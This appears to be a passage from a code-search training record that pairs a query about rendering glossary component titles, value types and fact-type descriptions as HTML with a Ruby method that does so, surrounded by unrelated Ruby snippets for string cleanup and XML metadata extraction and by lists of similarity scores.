').squeeze(' ')\nend", "def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end", "def cleanup(string)\n array = string.chars\n output = \"\"\n i = 0\n for i in (i..array.length-1)\n if array[i] =~ /[A-Za-z]/\n output << array[i]\n else\n output << \" \"\n end\n output.gsub!(\" \", \" \")\n i += 1\n end\n output\nend", "def cleanup(sentence)\n sentence.gsub(/[^a-z]+/i, ' ')\nend", "def clear_board\n @board_spaces = ((1..9).to_a).product([\" \"]).to_h\n end", "def count_spaces string\n string.count(\" \")\nend", "def cleanup(string)\n string.gsub(/[^a-z]/i, ' ').squeeze(' ')\nend", "def count(string)\n new_string = string.gsub(/[ ]/, '')\n new_string.size\nend", "def cleanup(string)\n letters = %w(a b c d e f g h i j k l m n o p q r s t u w v x y z\n A B C D E F G H I J K L M N O P Q R S T U W V X Y Z )\n index = 0\n loop do\n string[index] = ' ' unless letters.include?(string[index])\n index += 1\n break if index == string.size\n end\n string.squeeze(' ')\nend", "def cleanup(string)\n string.gsub(/[^a-z]/i, \" \").squeeze(' ')\nend", "def outdent( str )\n\t\t\tstr.gsub( /^(\\t|[ ]{1,#{TabWidth}})/, '')\n\t\tend", "def squash(text)\n return text.scrub.gsub(/[[:space:]]+/, ' ').strip\nend", "def rl_delete_horizontal_space(count, ignore)\r\n start = @rl_point\r\n\r\n while (@rl_point!=0 && whitespace(@rl_line_buffer[@rl_point - 1]))\r\n @rl_point-=1\r\n end\r\n start = @rl_point\r\n while (@rl_point < @rl_end && whitespace(@rl_line_buffer[@rl_point]))\r\n @rl_point+=1\r\n end\r\n if (start != @rl_point)\r\n rl_delete_text(start, @rl_point)\r\n @rl_point = start\r\n end\r\n if (@rl_point < 0)\r\n @rl_point = 0\r\n end\r\n 0\r\n end", "def cleanup string\n string.gsub(/\\W|\\d/, ' ').gsub(/\\ (?=\\ )/, '')\nend", "def no_space(x)\n x = x.split(\" \").join(\"\")\n puts x\nend", "def standard_gap\n \" \"\n end", "def cleanup_noregexp str\n str2 = ''\n str.chars.each do |chr|\n case chr.downcase\n when ('a'..'z')\n str2 << chr\n else\n str2 << ' '\n end\n end\n str2.squeeze(' ')\nend", "def strip!\n acc = 0\n new_te = self.text_elements.drop_while { |te|\n te.text == ' ' && acc += 1\n }\n self.left += self.text_elements.take(acc).inject(0) { |m, te| m += te.width }\n self.text_elements = new_te\n\n self.text_elements.reverse!\n acc = 0\n new_te = self.text_elements.drop_while { |te|\n te.text == ' ' && acc += 1\n }\n self.right -= self.text_elements.take(acc).inject(0) { |m, te| m += te.width }\n self.text_elements = new_te.reverse\n self\n end", "def cleanup(str)\n letters = (\"a\"..\"z\")\n\n str = str.split(\"\").map do |char|\n p char\n if letters.include?(char)\n char\n else \n \" \"\n end\n end\n\n str = str.join\n\n str.squeeze!(\" \")\nend", "def indent_width(txt)\n txt.match(/\\A\\s*/).to_s.length\n end", "def removing_spaces(isbn)\r\n\tisbn.gsub(\" \", \"\") #this strips the space and redefines isbn using the !\r\nend", "def clean( input )\n input.gsub( %r/\\s+/, '' )\n end", "def strip_naked\n return self if blank?\n self.downcase.strip.gsub(/([\\s]{2,})/, ' ')\n end", "def spaces\n\t\t@secret_word.map { \" _ \" }\n\tend", "def clean_up_spaces(string)\n string.gsub(\"\\n\", ' ').gsub(/[[:space:]]+/, ' ').strip if string.is_a? String\n end", "def cleanup(str)\n\tnew_str = str.gsub(/[^a-z]/i, ' ').split.join(' ')\n\t\" #{new_str} \"\nend", "def remove_characters\n @data = @data.gsub(/\\n/, ' ').gsub(/\\f/, ' ').gsub(/\\s+/, ' ')\n @data = @data.split(' ')\n end", "def pad(message)\n message.gsub(/^$/, \" \")\n end" ]
[ "0.70882356", "0.6962683", "0.6941634", "0.6851901", "0.6835531", "0.6805154", "0.6731454", "0.67170936", "0.66799074", "0.66562206", "0.6621571", "0.6621571", "0.6620938", "0.66016906", "0.6591884", "0.6587177", "0.6557829", "0.6552568", "0.65323687", "0.6520586", "0.6498263", "0.647825", "0.6449029", "0.6425842", "0.6424144", "0.6423986", "0.6420221", "0.64028263", "0.63895863", "0.6386772", "0.6383105", "0.63671196", "0.6366127", "0.6366127", "0.6361113", "0.6360687", "0.6345278", "0.63437474", "0.6340263", "0.6340263", "0.63344306", "0.63124335", "0.63107497", "0.629426", "0.62837654", "0.6264629", "0.62630713", "0.62581646", "0.62561613", "0.6256087", "0.6244245", "0.6241892", "0.6241671", "0.62368095", "0.62084097", "0.62084097", "0.62033254", "0.6188312", "0.61875594", "0.61838526", "0.6172767", "0.61669207", "0.616614", "0.6156041", "0.6152943", "0.614765", "0.6134746", "0.61328346", "0.61301446", "0.61163074", "0.6114178", "0.6112988", "0.61125356", "0.61057115", "0.61057013", "0.61050904", "0.61043376", "0.61035603", "0.6103137", "0.61010027", "0.61003596", "0.60990626", "0.60982525", "0.6088857", "0.6078969", "0.60641444", "0.6058678", "0.60573184", "0.605441", "0.605421", "0.6052109", "0.6051445", "0.6050365", "0.6047851", "0.6047301", "0.6042573", "0.60413706", "0.6034366", "0.6034292", "0.6032249" ]
0.631482
41
Each component has a span for the title, a tttype if it's a value type an ttdesc if it has an associated fact type child nodes
def component c, klass = '' name = c.name title = span(name, 'term'+(c.is_mandatory ? ' mandatory' : '')) desc = '' type = '' case c when MM::Indicator ft = c.role.fact_type desc = div(div(expand_reading(ft.preferred_reading, false), 'glossary-reading'), 'tt-desc') type = div(div('boolean', 'term'), 'tt-type') when MM::Discriminator, MM::Injection, MM::ComputedValue, MM::HashValue, MM::SurrogateKey, # MM::Scoping, MM::ValidFrom # This should be an Injection p c debugger print '' # REVISIT when MM::Absorption ft = c.parent_role.fact_type preferred_reading = ft.reading_preferably_starting_with_role(c.parent_role) desc = div(div(expand_reading(preferred_reading, false), 'glossary-reading'), 'tt-desc') if MM::ValueType === c.object_type name = c.column_name*'' title = span(name, 'term'+(c.is_mandatory ? ' mandatory' : '')) type = div(div(c.child_role.object_type.name, 'term'), 'tt-type') #elsif c.all_member.size == 0 # title = span(name, 'term'+(c.is_mandatory ? ' mandatory' : '')) #else title = span(name, 'term'+(c.is_mandatory ? ' mandatory' : '')) end if MM::TypeInheritance === ft title = "as a "+title elsif c.full_absorption title = "fully absorbing "+title end if to = (c.foreign_key && c.foreign_key.composite) or ( composite_mappings = c.object_type.all_mapping.select{|m| m.composite} and composite_mappings.size == 1 and # In a binary mapping, there aren't any ForeignKeys to = composite_mappings[0].composite ) title = element(title, {href: '#'+composite_anchor(to)}, 'a') end klass = klass+' tt-list' unless c.parent_role.is_unique # when MM::ValueField ... Mapping works here when MM::Mapping # A mapping that's not an absorption; usually a Composite if MM::EntityType === (o = c.object_type) if o.fact_type objectified_reading = o.fact_type.preferred_reading desc = div( span('is where ', :keyword) + expand_reading(objectified_reading, false), 'tt-desc' ) else desc = div( span('is identified by ', :keyword) + o.preferred_identifier_roles.map{|r| span(r.role_name || r.name, 'term') }*', ', 'tt-desc' ) end else desc = div('', 'tt-desc') end when MM::Indicator desc = div( expand_reading(c.role.fact_type.preferred_reading, false), 'tt-desc' ) else # Add other special cases here desc = div('', 'tt-desc') end groups = c.exclusive_groups non_exclusive_members = c.all_member.select do |m| !groups.detect{|sx, (mandatory, members)| members.include?(m)} end seen = {} members = non_exclusive_members. sort_by{|m| m.ordinal}. map do |member| component(member) end*'' + groups.map do |sx, (mandatory, excl_members)| # REVISIT: When a member is in multiple exclusive groups, it's emitted more than once # REVISIT: Subtype Indicators are covered under the same exclusive constraint as the subtype. div( excl_members.map do |m| k = klass + (mandatory ? ' tt-one' : ' tt-any') if seen[m] div(span(m.name, 'term'+(m.is_mandatory ? ' mandatory' : ''))+' (as above)', 'tt-node'+k)+"\n" else seen[m] = true component(m, k) end end*'' ) end*'' div(title + type + desc + members, 'tt-node'+klass)+"\n" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def layout_part_title node, title, opts = {}\n puts 'Processing node.id:' + node.id\n puts 'Processing title:' + title\n num_part, title = title.split ':', 2\n move_down 150\n typeset_text num_part + \"\\n\" + title, (calc_line_metrics 1.5), inline_format: true, align: :center\n end", "def assessment_type_title\n frm.div(:class=>\"tier2\").table(:index=>0)[0][1].text\n end", "def hash_tags\n tags = \"\"\n object.data_types.each do |d|\n name = d.name\n tags = tags + h.content_tag( :span, '#' + name, class: 'scenario-tag data-type')\n end\n object.visualization_types.each do |d|\n name = d.name\n tags = tags + h.content_tag( :span, '#' + name, class: 'scenario-tag vis-type')\n end\n object.visualization_tasks.each do |d|\n name = d.name\n tags = tags + h.content_tag( :span, '#' + name, class: 'scenario-tag task')\n end\n return tags.html_safe\n end", "def build_specification(val, ele)\n attrs = {}\n ele.search('li').each do |li|\n attrs[li.search('.title').first.content] = li.search('.value').first.content\n end\n attrs\n end", "def series_facets(solr_doc)\n solr_doc[Solrizer.solr_name(\"parent_unittitles\", :displayable)] unless solr_doc[Solrizer.solr_name(\"parent_unittitles\", :displayable)].nil?\n end", "def repeated_descriptions(node); end", "def container_element(type)\n val = text(data.at_xpath(\"/c/did/container[@type='#{type}']\"))\n \"#{type.capitalize} #{val.first}\" if val\n end", "def assessment_type_description\n frm.div(:class=>\"tier2\").table(:index=>0)[2][1].text\n end", "def issue_vol_title\n return @ivt if @ivt\n\n @ivt = {}\n\n #xpath declarations\n\n dc_title_xpath = \"//M:dmdSec//dc:title\"\n marc_title_b_xpath = \"//M:dmdSec//marc:datafield[@tag='245']/marc:subfield[@code='b']\"\n marc_title_a_xpath = \"//M:dmdSec//marc:datafield[@tag='245']/marc:subfield[@code='a']\"\n marc_issue_vol_xpath = \"//M:dmdSec//marc:datafield[@tag='245']/marc:subfield[@code='n']\"\n mods_title_xpath = \"//M:dmdSec//mods:title\"\n mods_issue_xpath = \"//mods:part/mods:detail[@type='issue']/mods:number\"\n mods_volume_xpath = \"//mods:part/mods:detail[@type='volume']/mods:number\"\n mods_enum_issue_xpath = \"//mods:part/mods:detail[@type='Enum1']/mods:caption\"\n mods_enum_volume_xpath = \"//mods:part/mods:detail[@type='Enum2']/mods:caption\"\n #mods_issue_xpath = \"//M:dmdSec//mods:part/mods:detail[@type=issue]/mods:number\"\n #mods_volume_xpath = \"//M:dmdSec//mods:part/mods:detail[@type=volume]/mods:number\"\n structmap_orderlabel_volume_xpath = \"//M:structMap//M:div[@TYPE='volume']\"\n structmap_orderlabel_issue_xpath = \"//M:structMap//M:div[@TYPE='issue']\"\n ojs_volume_xpath = \"//M:dmdSec[starts-with(@ID, 'I')]/M:mdWrap/M:xmlData/mods:mods/mods:relatedItem/mods:part/mods:detail[@type='volume']/mods:number\"\n ojs_issue_xpath = \"//M:dmdSec[starts-with(@ID, 'I')]/M:mdWrap/M:xmlData/mods:mods/mods:relatedItem/mods:part/mods:detail[@type='issue']/mods:number\"\n is_ojs_xpath = \"//M:dmdSec[starts-with(@ID, 'J')]\"\n\n # check if OJS\n\n if descriptor_doc.find_first(is_ojs_xpath, NS_PREFIX)\n # get title from mods in dmdSec\n title_node = descriptor_doc.find_first mods_title_xpath, NS_PREFIX\n @ivt[\"title\"] = title_node ? title_node.content : nil\n\n # get OJS volume\n volume_node = descriptor_doc.find_first(ojs_volume_xpath, NS_PREFIX)\n issue_node = descriptor_doc.find_first(ojs_issue_xpath, NS_PREFIX)\n\n @ivt[\"volume\"] = volume_node ? volume_node.content : nil\n @ivt[\"issue\"] = issue_node ? issue_node.content : nil\n return @ivt\n end\n\n # check if vol/issue are in structMap\n struct_vol_node = descriptor_doc.find_first(structmap_orderlabel_volume_xpath, NS_PREFIX)\n struct_issue_node = descriptor_doc.find_first(structmap_orderlabel_issue_xpath, NS_PREFIX)\n struct_volume = struct_vol_node[\"ORDERLABEL\"] ? struct_vol_node[\"ORDERLABEL\"] : struct_vol_node[\"LABEL\"] if struct_vol_node\n struct_issue = struct_issue_node[\"ORDERLABEL\"] ? struct_issue_node[\"ORDERLABEL\"] : struct_issue_node[\"LABEL\"] if struct_issue_node\n\n @ivt[\"volume\"] = struct_volume ? struct_volume : nil\n @ivt[\"issue\"] = struct_issue ? struct_issue : nil\n\n # look in dmd for title. Also, issue/vol if not found above in structMap\n\n # mods first\n mods_title_node = descriptor_doc.find_first mods_title_xpath, NS_PREFIX\n @ivt[\"title\"] = mods_title_node ? mods_title_node.content : nil\n\n unless @ivt[\"volume\"] or @ivt[\"issue\"]\n mods_volume_node = descriptor_doc.find_first mods_volume_xpath, NS_PREFIX\n @ivt[\"volume\"] = mods_volume_node ? mods_volume_node.content : nil\n\n mods_issue_node = descriptor_doc.find_first mods_issue_xpath, NS_PREFIX\n @ivt[\"issue\"] = mods_issue_node ? mods_issue_node.content : nil\n\n #try Enum1 and Enum2 if nothing found above\n unless mods_volume_node\n mods_enum_volume_node = descriptor_doc.find_first mods_enum_volume_xpath, NS_PREFIX\n @ivt[\"volume\"] = mods_enum_volume_node ? mods_enum_volume_node.content : nil\n end\n\n unless mods_issue_node\n mods_enum_issue_node = descriptor_doc.find_first mods_enum_issue_xpath, NS_PREFIX\n @ivt[\"issue\"] = mods_enum_issue_node ? mods_enum_issue_node.content : nil\n end\n end\n\n # try MARC next\n unless @ivt[\"title\"]\n marc_title_a = descriptor_doc.find_first(marc_title_a_xpath, NS_PREFIX)\n marc_title_b = descriptor_doc.find_first(marc_title_b_xpath, NS_PREFIX)\n marc_title = marc_title_a.content if marc_title_a\n marc_title += \" \" + marc_title_b.content if marc_title_b\n\n @ivt[\"title\"] = marc_title ? marc_title : nil\n marc_issue_vol = descriptor_doc.find_first(marc_issue_vol_xpath, NS_PREFIX)\n\n if marc_issue_vol\n @ivt[\"volume\"] = marc_issue_vol.content[/\\d+/]\n @ivt[\"issue\"] = marc_issue_vol.content.gsub(@ivt[\"volume\"], \"\")[/\\d+/]\n end\n end\n\n # finally, try dublin core\n unless @ivt[\"title\"]\n dc_title_node = descriptor_doc.find_first dc_title_xpath, NS_PREFIX\n\n if dc_title_node\n dc_title = dc_title_node.content\n dc_volume = nil\n dc_issue = nil\n\n unless @ivt[\"volume\"] or @ivt[\"issue\"]\n [/Volume\\s*\\d+/, /vol\\.*\\s*\\d+/, /v\\.*\\s*\\d+/].each do |r|\n if dc_title[r]\n dc_volume = dc_title[r][/\\d+/]\n break\n end\n end\n\n [/Issue\\s*\\d+/, /no\\.*\\s*\\d+/, /v\\.*\\s*\\d+/].each do |r|\n if dc_title[r]\n dc_issue = dc_title[r][/\\d+/]\n end\n end # of each\n end # of if\n end # of unless\n\n @ivt[\"title\"] = dc_title ? dc_title : nil\n @ivt[\"volume\"] = dc_volume ? dc_volume : nil\n @ivt[\"issue\"] = dc_issue ? dc_issue : nil\n end\n\n return @ivt\n end", "def set_visual_info ()\n classes = ''\n\n ct = self.category_type\n ct && ct !~ /unknown/i &&\n classes << \" type_\" + ct.gsub( /[^a-zA-Z0-9\\-_]+/, '_' )\n\n classes << \" \" + to_css_class(self.category)\n\n self.css_classes = classes\n self.block_label = \"#{self.title}:<br/>&nbsp;#{self.subtitle}\"\n end", "def title_comp; end", "def tt_sections text\n flow = @am.flow text.dup\n\n flow.each do |item|\n case item\n when String then\n @res << item if in_tt?\n when RDoc::Markup::AttrChanger then\n off_tags res, item\n on_tags res, item\n when RDoc::Markup::RegexpHandling then\n @res << convert_regexp_handling(item) if in_tt? # TODO can this happen?\n else\n raise \"Unknown flow element: #{item.inspect}\"\n end\n end\n\n res\n end", "def find_title_and_type\n @title = nil\n @type = nil\n return nil unless search.facet_klass.respond_to?(:facets)\n\n __res = search.facet_klass.facets.select{|key,v| key.to_s.downcase == @key.to_s.downcase }\n return unless __res\n @title = __res[@key].fetch(:title, @key.to_s.humanize)\n @type = __res[@key].fetch(:type, nil)\n end", "def unittitle_element\n data.at_xpath(\"#{collection_data_root}/did/unittitle\") || data.at_xpath(\"#{data_root}/did/unittitle\")\n end", "def compile_leaf_popup(object, item)\n if object.is_a?(TrueClass)\n hash = { header: item[:name] }\n for key, value in item\n unless [:header, :footer, :name, :shape].include?(key)\n hash[key] = value.to_s\n end\n end\n compile_leaf_popup(hash, item)\n elsif object.is_a?(String)\n return [{ type: :content, content: object }]\n elsif object.is_a?(Hash)\n blocks = []\n if header = object[:header]\n blocks << compile_block(header, :header, content: item[:name])\n end\n if content = object[:content]\n if content.is_a? String\n blocks << { type: :content, content: content }\n elsif content.is_a? Array\n for value in content\n block = {}\n if value.is_a? String\n block[:content] = value\n elsif value.is_a? Hash\n block.update(value)\n else\n raise \"Not implemented array block for #{object.class}\"\n end\n if block[:label].is_a?(TrueClass)\n block[:label] = \"attributes.#{attribute}\".t(default: [\"labels.#{attribute}\".to_sym, attribute.to_s.humanize])\n elsif !block[:label]\n block.delete(:label)\n end\n blocks << block.merge(type: :content)\n end\n elsif content.is_a? Hash\n for attribute, value in content\n block = {}\n if value.is_a? String\n block[:content] = value\n elsif value.is_a? Hash\n block.update(value)\n elsif value.is_a? TrueClass\n block[:value] = item[attribute].to_s\n block[:label] = true\n end\n if block[:label].is_a?(TrueClass)\n block[:label] = attribute.to_s.humanize\n elsif !block[:label]\n block.delete(:label)\n end\n blocks << block.merge(type: :content)\n end\n else\n raise \"Not implemented content for #{content.class}\"\n end\n end\n if footer = object[:footer]\n blocks << compile_block(footer, :footer, content: item[:name])\n end\n return blocks\n else\n raise \"Not implemented for #{object.class}\"\n end\n end", "def build_xml(builder)\n super(builder)\n builder.Value { |b| b.Text self.data }\n builder.UnitType { |b| eng_unit_type.build_xml(b) } unless eng_unit_type.blank?\n end", "def terms_for_display\n # 'type' is the RDF.type assertion, which is not present by default, but may be\n # provided in some RDF schemas\n self.descMetadata.class.fields + [:tags] - [:tag]\n end", "def text_details(title,label)\n @browser.span(:xpath,\"//div[div/span/span[text()='#{title}']]/div[@class='_rpc_y1']//div[span[contains(text(),'#{label}')]]/span[@class='ms-font-s']/span\")\n end", "def parent_type\n type_tag.to_s.sub(\"_description\", \"\")\n end", "def binder_string_value(type)\n\n\t\tret_array = Array.new\n\n\t\t(@binder.tag.node_tags|@binder.tag.parent_tags).each do |tag|\n\t\t\tret_array << tag[\"title\"] if tag[\"type\"]==type\n\t\tend\n\n\t\treturn ret_array.join(' ')\n\n\tend", "def _builtin_xf_description(value)\n {\n 0 => :'Normal style', # fStyle value == 1\n 1 => :'Row outline level 1', # 1\n 2 => :'Row outline level 2', # 1\n 3 => :'Row outline level 3', # 1\n 4 => :'Row outline level 4', # 1\n 5 => :'Row outline level 5', # 1\n 6 => :'Row outline level 6', # 1\n 7 => :'Row outline level 7', # 1\n 8 => :'Column outline level 1', # 1\n 9 => :'Column outline level 2', # 1\n 10 => :'Column outline level 3', # 1\n 11 => :'Column outline level 4', # 1\n 12 => :'Column outline level 5', # 1\n 13 => :'Column outline level 6', # 1\n 14 => :'Column outline level 7', # 1\n 15 => :'Default cell format', # 0\n }[value]\n end", "def nodetype() @records.get_data(GRT_NODETYPE); end", "def component_types; @component_types; end", "def details\n {\n groups: categorized_groups,\n internal_name: tag.title_including_parent,\n }\n end", "def unittitle_element\n data.at_xpath(\"#{data_root}/did/unittitle\")\n end", "def _tdata value\r\n if value\r\n @xml.td(value.to_s)\r\n else\r\n @xml.td do @xml.target! << '&nbsp;' end\r\n end\r\n end", "def get_definition()\n html_def = @noko.css(\"li.g:first-of-type\")\n local_word_info = Hash.new\n local_word_info[:title] = html_def.css(\"h3 span\")[0].text\n\n if local_word_info[:title].ascii_only?\n local_word_info[:title] = local_word_info[:title].upcase\n else\n local_word_info[:title] = make_readable(local_word_info[:title]).upcase\n end\n\n local_word_info[:types_definitions] = []\n html_def.css(\"tr\").each do |e|\n # puts e\n if e.to_s =~ /<div/\n definitions = Hash.new\n definitions[:type] = e.css(\"div\")[0].text.upcase\n definitions[:definitions] = []\n e.css(\"li\").each do |li|\n definitions[:definitions] << li.text\n end\n local_word_info[:types_definitions] << definitions\n end\n end\n\n return local_word_info\n end", "def unittitle_node_set(ead_element)\n ead_element.xpath(XPATH[:unittitle])\n end", "def extract_label(id, nodes)\n\ttype = nodes.root.name\n\tret = nil\n\tcase type\n\twhen \"Activity\"\n\t\tret = nodes.at_xpath(\"//Title\").child\n\twhen \"AggregateStatisticInfo\"\n\t\tret = nodes.at_xpath(\"//StatisticName\").child\n\twhen \"Assessment\", \"Sif3Assessment\"\n\t\tret = nodes.at_xpath(\"//Name\").child\n\twhen \"AssessmentAdministration\", \"Sif3AssessmentAdministration\"\n\t\tret = nodes.at_xpath(\"//AdministrationName\").child\n\twhen \"Sif3AssessmentAsset\"\n\t\tret = nodes.at_xpath(\"//AssetName\").child\n\twhen \"AssessmentForm\", \"Sif3AssessmentForm\"\n\t\tret = nodes.at_xpath(\"//FormName\").child\n\twhen \"AssessmentItem\", \"Sif3AssessmentItem\"\n\t\tret = nodes.at_xpath(\"//ItemLabel\").child\n\twhen \"Sif3AssessmentRubric\"\n\t\tret = nodes.at_xpath(\"//RubricName\").child\n\twhen \"Sif3AssessmentScoreTable\"\n\t\tret = nodes.at_xpath(\"//ScoreTableName\").child\n\twhen \"Sif3AssessmentSection\"\n\t\tret = nodes.at_xpath(\"//SectionName\").child\n\twhen \"Sif3AssessmentSession\"\n\t\tret = nodes.at_xpath(\"//SessionName\").child\n\twhen \"AssessmentSubTest\"\n\t\tret = nodes.at_xpath(\"//Name\").child\n\twhen \"Sif3AssessmentSubTest\"\n\t\tret = nodes.at_xpath(\"//SubTestName\").child\n\twhen \"CalendarDate\"\n\t\tret = nodes.at_xpath(\"//@Date\").content\n\twhen \"CalendarSummary\"\n\t\tret = nodes.at_xpath(\"//LocalId\").child\n\twhen \"ChargedLocationInfo\"\n\t\tret = nodes.at_xpath(\"//Name\").child\n\twhen \"Debtor\"\n\t\tbname = nodes.at_xpath(\"//BillingName\")\n\t\tunless(bname.nil?)\n\t\t\tret = bname.child\n\t\tend\n\twhen \"EquipmentInfo\"\n\t\tret = nodes.at_xpath(\"//Name\").child\n\twhen \"FinancialAccount\"\n\t\tret = nodes.at_xpath(\"//AccountNumber\").child\n\twhen \"GradingAssignment\"\n\t\tret = nodes.at_xpath(\"//Description\").child\n\twhen \"Invoice\"\n\t\tfnumber = nodes.at_xpath(\"//FormNumber\")\n\t\tunless(fnumber.nil?)\n\t\t\tret = fnumber.child\n\t\tend\n\twhen \"LEAInfo\"\n\t\tret = nodes.at_xpath(\"//LEAName\").child\n\twhen \"LearningResource\"\n\t\tret = nodes.at_xpath(\"//Name\").child\n\twhen \"LearningStandardDocument\"\n\t\tret = nodes.at_xpath(\"//Title\").child\n\twhen \"LearningStandardItem\"\n\t\tret = nodes.at_xpath(\"//StatementCodes/StatementCode[1]\").child\n\twhen \"PaymentReceipt\"\n\t\tret = nodes.at_xpath(\"//ReceivedTransactionId\").child\n\twhen \"PurchaseOrder\"\n\t\tret = nodes.at_xpath(\"//FormNumber\").child\n\twhen \"ReportAuthorityInfo\"\n\t\tret = nodes.at_xpath(\"//AuthorityName\").child\n\twhen \"ResourceBooking\"\n\t\tret1 = nodes.at_xpath(\"//ResourceLocalId\").child \n\t\tret2 = nodes.at_xpath(\"//ResourceLocalId\").child \n\t\tret = ret1.to_s + \" \" + ret2.to_s\n\twhen \"RoomInfo\"\n\t\tret = nodes.at_xpath(\"//RoomNumber\").child\n\twhen \"ScheduledActivity\"\n\t\tret = nodes.at_xpath(\"//ActivityName\").child\n\twhen \"SchoolCourse\"\n\t\tret = nodes.at_xpath(\"//CourseCode\").child\n\twhen \"SchoolInfo\"\n\t\tret = nodes.at_xpath(\"//SchoolName\").child\n\twhen \"SectionInfo\"\n\t\tret = nodes.at_xpath(\"//LocalId\").child\n\twhen \"StaffPersonal\", \"StudentContactPersonal\", \"StudentPersonal\"\n\t\tfname = nodes.at_xpath(\"//PersonInfo/Name/FullName\")\n\t\tif(fname.nil?)\n\t\t\tret1 = nodes.at_xpath(\"//PersonInfo/Name/GivenName\").child \n\t\t\tret2 = nodes.at_xpath(\"//PersonInfo/Name/FamilyName\").child \n\t\t\tret = ret1.to_s + \" \" + ret2.to_s\n\t\telse\n\t\t\tret = fname.child\n\t\tend\n\twhen \"StudentActivityInfo\"\n\t\tret = nodes.at_xpath(\"//Title\").child\n\twhen \"TeachingGroup\"\n\t\tret = nodes.at_xpath(\"//ShortName\").child\n\twhen \"TermInfo\"\n\t\tret = nodes.at_xpath(\"//TermCode\").child\n\twhen \"TimeTable\"\n\t\tret = nodes.at_xpath(\"//Title\").child\n\twhen \"TimeTableCell\"\n\t\tret = nodes.at_xpath(\"//DayId\").child.to_s + \":\" + nodes.at_xpath(\"//PeriodId\").child.to_s\n\twhen \"TimeTableSubject\"\n\t\tret = nodes.at_xpath(\"//SubjectLocalId\").child\n\twhen \"VendorInfo\"\n\t\tfname = nodes.at_xpath(\"//Name/FullName\").child\n\t\tif(fname.nil?)\n\t\t\tret1 = nodes.at_xpath(\"//Name/GivenName\").child \n\t\t\tret2 = nodes.at_xpath(\"//Name/FamilyName\").child \n\t\t\tret = ret1.to_s + \" \" + ret2.to_s\n\t\telse\n\t\t\tret = fname.child\n\t\tend\n\tend\n\tret = id if ret.nil? \n\treturn ret\nend", "def s_typesort; det.link(:text, 'Type'); end", "def item_tag_for( model_name, column_name, value=nil)\n return '' if value.nil?\n return content_tag(:p, :id => model_name + '-' + column_name) do\n raw(\n content_tag(:span, column_name.humanize.capitalize, :class => 'attr-title') +\n content_tag(:span, value, :class => \"attr-value\" )\n )\n end\n end", "def create_top_labels ops\n now = Time.now\n ops.each do |op|\n item = op.output(OUTPUT).item\n temporary_label = op.temporary[:output_label]\n item_label = \"\"\n if item\n temporary_label = temporary_label.strike.add_tag(\"font\", color: \"red\")\n item_label = \" \" + op.output(OUTPUT).item.id.to_s.bold.add_tag(\"font\", color: \"green\")\n end\n\n op.temporary[:top_label] = \\\n \"<table style=\\\"width:100%\\\">\n <tr><td>#{temporary_label}#{item_label}</td></tr>\n <tr><td>#{op.output(OUTPUT).sample.name}</td></tr>\n <tr><td>#{now.strftime(\"%a %m/%d/%y\") }</td></tr>\n <tr><td>P: #{ op.temporary[:passage] }</td></tr>\n <tr><td>Seed: #{ op.input(SEED).val }%</td></tr>\n </table>\"\n end\n end", "def membergroups_style_label\n $tracer.trace(__method__)\n return ToolTag.new(div.className(\"/parent-group-title/\").innerText(\"/Style/\"), __method__)\n end", "def tableify node\n if node.xpath('title').length > 0\n colgroup = Nokogiri::XML::Node.new( 'colgroup', $document )\n node = wrap_up node.name, node, { name: 'table', role: node.name, class: node.name }, Nokogiri::XML::NodeSet.new( $document, [ colgroup, node.children ].flatten )\n else\n colgroup = Nokogiri::XML::Node.new( 'colgroup', $document )\n node = wrap_up node.name, node, { name: 'informaltable', role: node.name, class: node.name }, Nokogiri::XML::NodeSet.new( $document, [ colgroup, node.children ].flatten )\n end\n\n # Convert title to caption (see\n # http://www.sagehill.net/docbookxsl/Tables.html ) and re-order things\n newchildren = []\n node.children.each { |child| child.name == 'title' and convert 'title', child, 'caption' }\n node.children.each { |child| child.name == 'caption' and newchildren << child }\n node.children.each { |child| child.name == 'colgroup' and newchildren << child }\n node.children.each { |child| child.name != 'caption' and child.name != 'colgroup' and newchildren << child }\n node.children = Nokogiri::XML::NodeSet.new( $document, newchildren )\n\n return node\nend", "def table title\r\n @xml.table do\r\n @xml.tr do @xml.th(title, :colspan => 3) end\r\n yield self\r\n end\r\n end", "def parse_tag_with_types_and_title(tag_name, text); end", "def title\n node = @meta.at_xpath('./a:identification/a:FRBRWork/a:FRBRalias', a: NS)\n node ? node['value'] : \"Act #{num} of #{year}\"\n end", "def title_for_heading(parent_titles = Array.new)\n if parent_titles.length > 0\n [parent_titles, self.term_to_html(\"unittitle\")].join(\" >> \")\n else\n self.term_to_html(\"unittitle\")\n end\n end", "def to_xml(builder)\n builder.series type: type do\n builder.title { title.to_xml builder } if title\n builder.place place if place\n builder.organization organization if organization\n builder.abbreviation { abbreviation.to_xml builder } if abbreviation\n builder.from from if from\n builder.to to if to\n builder.number number if number\n builder.part_number part_number if part_number\n end\n end", "def types\n @title = 'Resource Type Listing A-Z'\n @objects_by_letter = objects_by_letter(:puppet_type)\n erb(:objects)\nend", "def handle_title(title, linked_agents, dates)\n creator = linked_agents.find{|a| a['role'] == 'creator'}\n date_codes = []\n\n # process dates first, if defined.\n unless dates.empty?\n dates = [[\"single\", \"inclusive\", \"range\"], [\"bulk\"]].map {|types|\n dates.find {|date| types.include? date['date_type'] }\n }.compact\n\n dates.each do |date|\n code, val = nil\n code = date['date_type'] == 'bulk' ? 'g' : 'f'\n if date['expression']\n val = date['expression']\n elsif date['end']\n val = \"#{date['begin']} - #{date['end']}\"\n else\n val = \"#{date['begin']}\"\n end\n\n if(code == 'f') #check settings for enabling tag subfield code f\n if(MarcExportSettings.m_export_settings['tag_245_sc_f']) then date_codes.push([code, val]) end\n elsif (code == 'g') #check settings for enabling tag subfield code g\n if(MarcExportSettings.m_export_settings['tag_245_sc_g']) then date_codes.push([code, val]) end\n else\n date_codes.push([code, val])\n end\n end\n end\n\n ind1 = creator.nil? ? \"0\" : \"1\"\n if date_codes.length > 0\n # we want to pass in all our date codes as separate subfield tags\n # e.g., with_sfs(['a', title], [code1, val1], [code2, val2]... [coden, valn])\n df('245', ind1, '0').with_sfs(['a', title + \",\"], *date_codes)\n else\n df('245', ind1, '0').with_sfs(['a', title])\n end\n end", "def look_up_title(result)\n case name\n when \"IGN\"\n return result.children.to_s.strip\n when \"GameSpot\"\n if result.children.count > 1\n return result.children[1].children[1].children[1].attributes[\"alt\"].value.strip \n end\n when \"GiantBomb\" \n if result.children.count > 1\n return result.children[1].children[1].attributes[\"alt\"].value.strip\n end\n end\n end", "def node\n Component.span\n end", "def node\n 